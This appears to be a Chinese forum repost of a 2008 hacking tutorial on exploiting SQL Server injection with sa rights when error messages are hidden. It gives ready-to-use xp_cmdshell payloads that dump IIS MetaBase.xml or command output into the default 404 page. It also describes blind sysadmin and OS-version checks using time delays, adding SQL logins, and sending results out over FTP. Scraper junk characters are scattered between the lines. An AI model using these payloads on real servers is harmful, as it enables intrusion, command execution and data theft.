遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
) B( {: a* T( W
9 L/ p2 `/ |( l0 c* P5 a- t1 o# o 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
9 o" D7 s7 e- V1 y. W X! b" L+ `$ O }8 b: q. w
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。) z" d2 p9 V1 Q
# O/ }/ u/ W f6 x$ u/ n: {! v
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
& z, h# S0 d& f8 B. i1 \7 d3 \7 u: m
" f0 x* A# |9 }: I 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
, {$ f+ w9 \: t4 R4 u( T' F; `0 Z! j/ q( l5 ^0 T1 u" [
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
+ f! n5 p- U ?! X# J0 b M- {$ V7 `' J: b- F3 {, W( m! m, V: O8 m! _
执行命令得到回显
5 M6 a- Q) |2 y, ?2 n
% a. o; G9 J* ~( D8 ~2 U* b 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--; B7 w% e+ `2 m( z* S$ N/ u
$ w: T4 a) o3 i+ {% h
得到文件也shi相同,把文件copy到404b.htm就行了
) r2 c9 w4 e- ~- n, c' t1 U e# w) E5 C
by 28ice, 2008/6/26" I5 F1 V! b, O4 ]( f {4 K4 n
* k* s3 ?+ U i$ S( B
摘自 28度的冰
8 E: T0 D% C1 @% I
) e/ l+ e; I4 q4 @ 盲注判断权限和操作系统版本
+ p3 ^9 [: H8 \& u, |8 S; b& z$ K) Z& Z; ?
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?* m% `. I+ W6 k: z! Y" h
: j9 p) k9 b4 {. f; @ 最简单的,可能以用这样的方法:8 P% V3 K* V* t/ v& x. T1 C, }2 Q- N
R/ s( C, {2 O S' S1 V. i 1=(select IS_SRVROLEMEMBER(’sysadmin’))
- L( f4 g# m5 p. f1 G+ f
1 h( S8 B, m p: L1 |, w 当然,有些情况下,这个方法并不奏效。! ` f3 W f! s/ G! d, _/ [# m
+ Q I- J! H2 m8 ^) ?) @
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
) i0 P0 ?2 |2 Q3 _1 F/ t4 S/ K3 {7 J9 r; O" a
有个3办法可能以解决这个问题
, {: ?* k0 h i+ j3 P
6 [8 \7 E5 O, w1 r _$ x: O a.把执行结果写到404b.htm,具体请看我的上一篇文章
% j9 y& s5 g! e# K: g9 O( b$ s/ \: [7 U8 I3 q, I& ^
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
" |5 }0 z1 B7 g7 H
?* o2 c" H ]4 m8 Y c' I c.如果1433端口可能以连接,那干脆新建个sql登录. I$ R" N3 v* W c7 @& Y
, }& |, m8 | T' N4 @2 K: W9 }+ U
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数 B8 S- t1 I8 q9 _
4 M8 Q4 V6 S2 O1 L( E! s
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下- l A3 b6 |5 m& d& ^7 Y
4 i9 d0 D J3 w' T. W
很简单
' D) M. z4 V7 l) c
I. K& K$ `, C7 E) a% } W$ ?0 Z 执行systeminfo7 O- m. [* {" h. A* {' x
) ~* D8 v! l1 f' w1 [
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |